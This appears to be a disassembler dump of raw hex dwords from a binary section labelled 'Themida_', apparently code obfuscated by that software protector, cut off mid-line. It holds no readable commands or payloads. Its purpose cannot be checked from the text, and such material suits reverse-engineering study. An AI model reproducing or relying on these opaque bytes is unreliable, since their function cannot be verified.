0F86E0861h, 115ABAD0h, 5EF78B2Ah, 100E381h dd 870F0000h, 6, 3169BD8Bh, 0DB0B0610h, 0AD850Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0FA35ECC3h, 800534A5h, 0BD83E8E0h, 613D896h, 28840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 73C5C352h, 0CDD10A65h, 7FE9D018h dd 0C7000000h, 13D89685h, 106h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0BFB5F1D6h dd 5A966AF7h, 108E0Fh, 0BE90000h, 0DC000000h, 8F18521Fh dd 0FB5D5FE5h, 800F3FC6h, 1, 30E9FCh, 81660000h, 0C74887F6h dd 13D89685h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0C63CA572h, 9D8D823Ah dd 6102381h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0B7C35646h, 0D5D91D5h, 81AF7B82h, 0FFFEFF23h, 0DB8C66FFh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 48C35141h dd 0E7D8F0A1h, 0F2432A13h, 0A5B58B76h, 0F606100Ah, 840F04C3h dd 2Eh, 95FFF98Bh, 6100DC9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 1FC35747h, 18AE4386h, 895073FBh dd 16E92404h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 2907C352h, 6E9h, 0CE69C400h dd 0B0600BB2h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 643C63B0h, 57F1A8ACh dd 8B6670E6h, 0CCB660F1h, 0BC9B589h, 0E4610610h, 56006A71h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0D8B60F85h, 0DE9h, 194E1F00h, 0A0038E1h, 253B18EEh dd 6BA5339h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 5152C355h, 57E85AFBh dd 53A8C7DBh, 6AC38B5Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 8B93C357h, 10170DB5h dd 4E8C106h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch dd 0CFC35242h, 3186FD1Ah, 89CE0EB3h, 6AE2F766h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0A38BC357h, 8B5117C6h, 102E81B5h, 2840F06h, 8B000000h dd 0FD82BF9h, 288h, 93FE8B00h, 5E9h, 892B9500h, 0E9508608h dd 0Bh, 2AA04AA2h, 1D58EFB2h, 93ECAFD5h, 1E3D8D89h, 0B5FF0610h dd 6100055h, 16BDB58Bh, 5E90610h, 89000000h, 837EEB97h dd 31C995FFh, 95890610h, 61000E9h, 858900B0h, 6100D65h dd 6A70E6h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 5D1E76C3h, 0E98406A4h, 5, 0C4F58A1h, 15B58927h dd 8906101Eh, 1008358Dh, 6A71E406h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0BFFDC353h dd 41B32DCh, 3CF6BF0Fh, 22830F61h, 89000002h, 101169B5h dd 0D8B60F06h, 1B61B58Bh, 6BA0610h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0CF1BC350h, 0C1E1A0E7h, 6E840C3h, 0BD000000h, 9B2F7172h dd 0AD952957h, 5F061030h, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 4BFCBEC3h, 0F60C5023h dd 0C118A97Fh, 870F04E8h, 6, 0EA9BD33h, 0F7660610h, 0FE9E2h dd 80B0000h, 0AE8E35E8h, 0AB95207Dh, 0B7C6C35Fh, 6AD82BD2h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 868BC355h, 9D8B6058h, 6103145h, 16299D29h dd 2B610610h, 56880FD8h, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0C08DC351h dd 7B983h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0B58B5EC3h, 6101F1Dh, 0C183F8h dd 89F38B66h, 100BDDBDh, 0FD93B06h, 0FC86h, 0D98C6600h dd 9E9h, 6D311800h, 9FB9D6D3h, 0C1F65FA6h, 0D5840F04h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0FBB2C353h, 63D86C2Dh, 8986BCA4h dd 10002DBDh, 0C995FF06h, 6A06100Dh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 5785C350h dd 0ADB58BAEh, 5B06100Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 50C35646h, 1E8A0FF0h, 0E8000000h, 12h dd 45480D73h, 241E3F24h, 0C364B19Eh, 8937735h, 0BD89E0E0h dd 61001F1h, 66C32B5Fh, 343DF38Bh, 0F000008h, 2F86h, 41958900h dd 0E9061031h, 31h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 6EC35343h, 8D89B152h, 61031A9h, 8B60C08Bh dd 10145595h, 2DE8006h, 8BC38B61h, 50006AD8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0A40E0A8h dd 85C7522Eh, 610297Dh, 1CC9F511h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 23C35545h, 10865A51h, 8B6006EEh dd 8B61F5C2h, 8B6653C0h, 0BD815EF2h, 6100055h, 7D0h, 51850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0A71294C3h, 0C800F24h, 60000000h, 0A8C68166h dd 6190BE7Ah, 566115B5h, 11898589h, 0FF5F0610h, 10005585h dd 68A0F06h, 89000000h, 1022F59Dh, 890F06h, 0FF000000h dd 100055B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 83468421h, 21F04046h, 0C995FF3Eh dd 6A061031h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 32A7C357h, 5D420C7Ch, 0E898B520h dd 13h, 8D669244h, 659A4ECEh, 0D19AD28Bh, 0FEACD2BDh, 5FD5AAACh db 90h byte_58963D db 0B8h, 78h, 56h ; DATA XREF: Themida_:0054D190o dd 6A1234h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 5657BDC3h, 8E230966h, 8DF8B70Fh, 13E1D29Dh dd 0F894E906h, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0E9FA22C3h, 11h, 7FC4CFE2h, 8EDB4017h dd 0F2E84F74h, 0B52A75BDh, 8195899Ah, 0E9061009h, 9, 28FB8F8Eh dd 6946BAE4h, 0EBC18BA8h, 4, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 16C14A6Dh dd 24BF66B1h, 51006ABCh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 305B692Bh, 5F254979h, 0E860539Dh dd 0Ch, 0B88E57E5h, 5671DB19h, 82984D08h, 83BF69BFh, 0F88B5E0Bh dd 0B9858D61h, 6A061013h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 80ECC356h, 518F4481h dd 6CC51EAEh, 702588BEh, 28CABF06h, 8D895A4Bh, 6100A85h dd 8B665090h, 6A90F3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 66FBBDC3h, 0BE6624C4h, 6AF6B7h dd 4880Fh, 0BF660000h, 6AD4B8h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 5EC35141h, 0B2A8B1Dh, 66F147F8h dd 7F21F681h, 0E421858Dh, 6A0613h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 8BF401C3h, 0B58BC6A3h dd 6101D29h, 0BE05C083h, 7B8BE655h, 0FABE6690h, 6A9050BFh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 5157C357h, 0ED48A5C6h, 99BD89D5h, 6A061031h dd 29006A00h, 10106D95h, 1995FF06h, 8B06101Dh, 1007F1B5h dd 6810F06h, 8B000000h, 100FE5B5h, 0D89D8D06h, 6A0613AFh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 2216C350h, 0E179589Bh, 9E998h, 0F3370000h dd 2BF1542Dh, 38BF315h, 1013F1B5h, 66D3FF06h, 85FFF38Bh dd 6101419h, 0DD4E9h, 0E800h, 815D0000h, 13E42BEDh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0D22F725Bh, 37DB2776h, 840Fh, 8F0F0000h, 9, 3830Fh dd 0B70F0000h, 55BD81FFh, 0D0061000h, 0F000007h, 16B86h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 2AC1632h, 81669B56h, 8B0E65EFh, 1005299Dh dd 0E1B58B06h, 81061007h, 100E3h, 2D852900h, 0B06100Bh dd 0EF850FDBh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 8B7EC357h, 176140DDh dd 0E252BD83h, 0F000613h, 7C84h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 360B78F1h dd 0BE66B606h, 0C1E9D1FEh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 60E4C350h dd 9E8h, 75B46400h, 67D5459Bh, 0BF0FB159h, 8F0F5FFAh, 16h dd 11E9h, 0E13E0100h, 0D2949F77h, 2B0FC7Dh, 0AD684932h dd 2361D81Dh, 100A49B5h, 5285C706h, 10613E2h, 81000000h dd 438397DFh, 5AE913h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0A64F2C3h, 0DDD72CBAh dd 37E7D34h, 101BA1BDh, 0AA6BBE06h, 85C70869h, 613E252h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0D5C35040h dd 0FC4E766Bh, 5299D8Dh, 23810610h, 0FFFFFEFFh, 6ADB8C66h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0C611C352h, 650F2F65h, 6610BB2Eh, 0F500F681h dd 0F04C3F6h, 5784h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 8B66521Dh, 0BF6650F9h dd 0FF5FD5E9h, 100DC995h, 28B0F06h, 8B000000h, 605290F1h dd 0E77ABE66h, 5F619BB5h, 0FE950h, 0DAF40000h, 6DAAF4FAh dd 80A3AD7Eh, 0A06DECDEh, 0FE8B9077h, 3B7E9h, 0AE900h dd 40800000h, 14E998EAh, 561A6EFAh, 0AE800B0h, 52000000h dd 1DBCB146h, 1D0BD591h, 0EDB58996h, 5F061015h, 31F870E6h dd 1004CD95h, 6A71E406h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 247EC357h, 8D0F7Eh dd 89000000h, 10107995h, 8DBD8B06h, 0F061006h, 6AD8B6h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 71C88C3h, 7C3AEDCh, 6F7BE66h, 6BAh, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8B30216Ah, 4E8C1C3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 28C35343h, 6646BAE4h, 6AE2F7h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 85891DC3h, 6100809h, 6AD82Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0B7E403C3h, 0C7C93890h dd 8BD950F6h, 1022A9B5h, 6E806h, 0F5EE0000h, 6D45236Eh dd 9E853h, 7DE60000h, 9FDC2628h, 5F547AA3h, 89505F5Eh dd 8529241Ch, 61015C1h, 55B5FFh, 12E80610h, 0E7000000h dd 6E09FB5Eh, 8A1FC4EFh, 78CE0FB2h, 8663F27Eh, 0D1B531CFh dd 5E06102Fh, 31C995FFh, 9D890610h, 6101C6Dh, 0B58900B0h dd 6100559h, 6A70E6h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 71E418C3h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0C7C35040h, 9F7C932Bh, 0B70F7803h dd 0F613CFAh, 1E783h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 4DE0CB8Ch, 0F5350900h dd 2A059D89h, 0F78B0610h, 8BD8B60Fh, 1009B1B5h, 6BA06h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 5A9210C3h, 0AD2FF379h, 0C38BB88Ah, 23E9BD8Bh dd 0E8C10610h, 50006A04h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 9A46ED8Bh, 897D1FEDh dd 1010C185h, 0E2F76606h, 0BE8h, 37809200h, 96B6AA8Fh dd 0C6507D1Eh, 7599501h, 2B5F0610h, 0FD8D89D8h, 58061006h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 85C35646h dd 0EE81664Ch, 0D82B212Ah, 10A880Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 5EECA1C3h dd 2DD1B58Bh, 0B52B0610h, 610088Dh, 0B9FA8B66h, 7, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F3C35141h, 99DFE30Bh dd 660D7A12h, 83F9F88Bh, 6A00C1h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0D1555EC3h, 0B79A30E6h dd 0BE153276h, 376EB34Ch, 0D93BF08Bh, 7A860Fh, 0BF0F0000h dd 0D98C66FEh, 0F04C1F6h, 5D84h, 0AC10BF00h, 95FF1744h dd 6100DC9h, 5BFABF0Fh, 1925BD23h, 0C32B0610h, 173261BEh dd 5DB50350h, 3D061004h, 834h, 30860Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 6022CDC3h, 60B578ABh, 0E9B2EEC4h, 14h, 2111BD33h, 0C08B0610h dd 0E959D89h, 0B5230610h, 6100B0Dh, 0D88BC38Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 27C35242h, 0B5FD8353h dd 2840Fh, 0FA8B0000h, 0AE9h, 0C6163C00h, 5534F5ECh, 0C781BF2Fh dd 10238185h, 47ADD906h, 0DE852h, 260A0000h, 0ED4B762Eh dd 2EFC7306h, 89129DECh, 102FADBDh, 0C08B5F06h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 2AC35545h, 0C0ECA379h dd 0CF816668h, 9D01CDC4h, 61009E5h, 55BD81h, 7D00610h dd 850F0000h, 29h, 1D49B58Bh, 85FF0610h, 6100055h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 5CC35141h, 55B5FF64h dd 6A061000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 1758C355h, 13445563h, 31C995FFh dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 89A608C3h, 1013F1B5h, 83409006h, 101061BDh dd 840F0006h, 0C0h, 2969BD83h, 0F000610h, 0B384h, 9BD8B00h dd 0FF061023h, 10106195h, 0DE906h, 5CAC0000h, 0FBD09F93h dd 68A0988Bh, 0BD00CCAh, 8D840FC0h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 89F1C356h, 1004A995h, 14E906h, 0DAA30000h, 0EC97343Fh dd 71AD74F4h, 9B6688F0h, 3B41A81Ch, 8D8D481Ch, 6104E85h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 34C35545h dd 0E063341Bh, 6860F75h, 8B000000h, 100901BDh, 81665706h dd 5EFFE7E7h, 5B8h, 68D0F00h, 8B000000h, 1012C1BDh, 0BEE1FF06h dd 53F2A8C9h, 22D5BD83h, 0F000610h, 5B984h, 69BD8300h dd 61029h, 5AC840Fh, 8D290000h, 6101189h, 0BE5BD8Bh, 8D8D0610h dd 6100BF5h, 8899D29h, 1C70610h, 44B27C84h, 14E8h, 7F38F600h dd 9CA68A7Bh, 348C24F4h, 414EB7E2h, 1C35C661h, 0D99D8922h dd 5F06101Dh, 81F0B70Fh, 99CFCB01h, 0D0BF6614h, 441C7D2h dd 0CE706B34h, 0F6E68166h, 4418138h, 31D6D710h, 14E5BD01h dd 6A0610h, 23619589h, 858D0610h, 6100BF5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0AAC35747h, 18B58D31h dd 90F50610h, 0F0BE6650h, 9D31909Fh, 6101079h, 22D595FFh dd 6A0610h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0AF2A07C3h, 8D8D09ABh, 6100BF5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C5C35242h, 0F3B3A438h dd 0C0B86F49h, 5619589h, 0B70F0610h, 1C7FAh, 52000000h dd 1E1BD2Bh, 0C75F0610h, 441h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 81047CC3h dd 0A622E3E0h, 840FC00Bh, 81h, 1331BD8Bh, 8D8D0610h, 6104E85h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 2C35040h dd 8BAA2C3Fh, 1022C9BDh, 5B806h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 2ACC21C3h dd 0D371CE26h, 0E1FFD3FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 59C35545h, 8BF98BC3h, 100205BDh, 0F58D8D06h dd 0BE06100Bh, 36158328h, 727C01C7h, 0B58B44AAh, 6100C51h dd 12E9h, 5613F300h, 0B69D282Ah, 2E5F2067h, 0C21D1FCDh dd 81A89D52h, 99CFCB01h, 50006A14h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 41C72280h, 78753C04h dd 0BF0F60CEh, 51BD8BC1h, 61061029h, 10044181h, 6A31D6D7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0A9E6C353h, 57F987A1h, 0FE9B2h, 2CA60000h dd 39B54323h, 7F84B43h, 642B7AE8h, 60006AADh, 0BB97CFBFh dd 59B58B6Bh, 61061016h, 0BF5858Dh, 89500610h, 57BE2404h dd 813D21FAh, 9A3A93EEh, 0D595FF27h, 6A061022h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 5301C353h, 47C031F5h, 0E852AB49h, 11h, 46DF6AC6h, 2BA31E64h dd 0E03B352Fh, 0C45D7E9Dh, 0F2B70F95h, 8D8D5E5Eh, 6100BF5h dd 0F8D8589h, 1C70610h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 7FC35242h dd 441C7h, 9000000h, 100FED9Dh, 0FC00B06h, 0C484h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0BAE18B82h, 4CCD5DD1h, 279DBD2Bh, 0DE80610h, 0A8000000h dd 687135EDh, 58CD9165h, 36B3F9EBh, 8E9h, 0F04C1900h, 60D167DDh dd 8D8D5F00h, 6104E85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0AEC35343h, 5A67C091h, 81660D3Ch, 0E882B5F6h dd 12h, 25C6D135h, 59637B06h, 0A7280485h, 0D0B651Ah, 0F08B8270h dd 5B85Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 1C3B41C3h, 0BF0FFA48h, 52E1FFFFh dd 880F52h, 5F000000h, 0F58D8D5Eh, 6A06100Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0C79BC355h, 0CA95A501h, 57006A54h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 57E868DEh dd 0CB01815Eh, 8B1499CFh, 100C21B5h, 441C706h, 0CE5F5969h dd 41815E51h, 0D6D71004h, 0DB58931h, 0BE06101Eh, 1EB51CCh dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 527F19C3h, 20BF9B38h, 8D6FCD94h, 100BF585h dd 0B1BD8B06h, 50061021h, 1C410BFh, 24048934h, 241DBD33h dd 95FF0610h, 61022D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 5EC35242h, 45DB8D75h, 8D962D15h, 100BF58Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 11E9EBh, 444D0000h, 1B7A38CBh, 9FB3F0C2h dd 8B827D30h, 0C7D1BAE1h, 1, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0E4901315h dd 9254F862h, 441C7h, 8B000000h, 103091B5h, 0FC00B06h dd 9184h, 0D5858900h, 8D06102Fh, 104E858Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 5B8891Bh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 9EEBC350h, 0EE6119CEh dd 1C8ED385h, 130DB58Bh, 81660610h, 0FF5A89EFh, 57006AE1h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0CDD826DCh, 9448E619h, 890F1185h, 6, 7218589h, 0CA030610h dd 0FFF248E9h, 51006AFFh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 6AC18B89h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F7C0C352h dd 4EB2105h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 6DC35646h dd 0CE73BE59h, 36BE2CBEh, 6A7B8E51h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0C291C352h dd 9A6AF3BEh, 0B9858DF9h, 8B061013h, 101391B5h, 8D0F5006h dd 0 dd 33240489h, 101CF1B5h, 6A006A06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 376C355h dd 0FC6F8DC1h, 0BC9C20Ah, 100A09BDh, 6A006A06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0FD3CC356h, 0B8858D48h, 290613F3h, 102E69BDh, 5C08306h dd 91BD8BF5h, 5006101Dh, 6A240489h, 130ABE00h, 6A7248h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 9FC35343h dd 0E5FC40E2h, 68AA81EEh, 0ABE66F4h, 0AE8DFh, 1AC20000h dd 0C9873132h, 0A821F2A4h, 0FF5EF28Bh, 101D1995h, 0D7816606h dd 85311266h, 6101575h, 0AFD89D8Dh, 6A0613h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 8B7871C3h dd 0FF4BC507h, 50006AD3h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0E86B7176h, 0Bh, 352B51E2h dd 0D67E746Fh, 819696FEh, 0B88E9FCFh, 0EE95F4Dh, 2000000h dd 98B409F1h, 80787083h, 0C9E7DE9Dh, 1985FFC4h, 0E9061014h dd 8BCh dword_58A828 dd 0E8h, 0ED815D00h, 613F3C2h, 8E9h, 758AC800h, 0B8983311h ; DATA XREF: Themida_:0054DC60o dd 81F28B73h, 100055BDh, 7D006h, 92860F00h, 6A000001h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 8865C350h, 87D642BFh, 3D8D891Bh, 8B061007h dd 1028019Dh, 0E38106h, 66000001h, 0E236EF81h, 850FDB0Bh dd 0BEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 89C35141h, 0BD832991h, 613F21Dh, 3C840F00h, 0E8000000h dd 0Bh, 0F2A94955h, 0BDC11374h, 660932C2h, 0E95FF28Bh dd 0AAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 89C35141h, 828D5252h, 0C7BF5DFBh, 13F21D85h, 106h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 3F2308FCh, 59E9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 66D87CFEh dd 188ECF81h, 0FCF3D781h, 85C7060Fh, 613F21Dh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F7C35545h dd 3AD99C61h, 0BF66A42Bh, 9D8D6D87h, 6102801h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 4AC35646h, 3FC0F946h dd 0F600D1Ah, 687h, 840F00h, 80000000h, 0F61B4CFh, 2381F7BFh dd 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0A4C35646h, 402D8795h, 0DB8C66F5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 12C35141h, 681BD834h dd 0FC6B2B7Fh, 0FCF88B66h, 0F04C3F6h, 5884h, 95FFF500h dd 6100DC9h, 0A19BD03h, 0F900610h, 0E80h, 9E900h, 183A0000h dd 7510D3E7h, 50870CAFh, 4890Fh, 0BF660000h, 6A904125h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0ECC1C353h, 22D51E7Eh, 0BD8B50D8h, 61008C1h dd 4BBE95Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 300955C3h, 0A6F66527h, 0CF818CB0h dd 66B4D971h, 70E600B0h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 6CC35141h, 5E51AE29h, 16A1BD8Bh, 71E40610h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 2DC35545h dd 0B60F520Dh, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0BD8BF97Bh, 6101B61h dd 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 4BBE4AA8h, 0E0B88F35h, 0F3B70F51h dd 6AC38B5Fh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0C00AC350h, 0F5BFC366h, 5B58B05h dd 0C106101Dh, 858904E8h, 610191Dh, 1915BD89h, 0F7660610h dd 26BE66E2h, 6AD82BB7h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 40AC352h, 93CEB407h dd 5E9h, 0FDFBE200h, 50500D7Dh, 5E852h, 0C79F0000h, 0FB922FCh dd 80h, 310F5E00h, 6A93585Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0F6EC353h, 0B5FFF7B7h dd 6100055h, 10B18501h, 8B660610h, 0C995FFFAh, 6A061031h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0C7A5C355h, 1D758589h, 81660610h, 0B0AF69F6h dd 54BE6600h, 6A70E68Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 77A0C357h, 0E4FBB70Fh dd 0FE871h, 143E0000h, 355C0E91h, 1A6F3BEAh, 0A3E4AF1Dh dd 58C0FE9h, 0BE000000h, 5EB2CB40h, 0C681665Fh, 613C9705h dd 2BB830Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 8B0FE2C3h, 0 dd 6AD8B60Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 110CC355h, 293684h, 32C5BD8Bh dd 6BA0610h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0E809C351h, 14h, 69FEB321h dd 0C25789B0h, 0A439FC54h, 0A352A0A2h, 0DD6E473Fh, 585BD89h dd 8B5F0610h, 0E9C38BF8h, 0Eh, 0AA36972Eh, 58235347h, 0BDF567F1h dd 0E8C1C9EEh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0CF310AC5h, 0F78A321Dh dd 81B5894Fh, 6606101Ch, 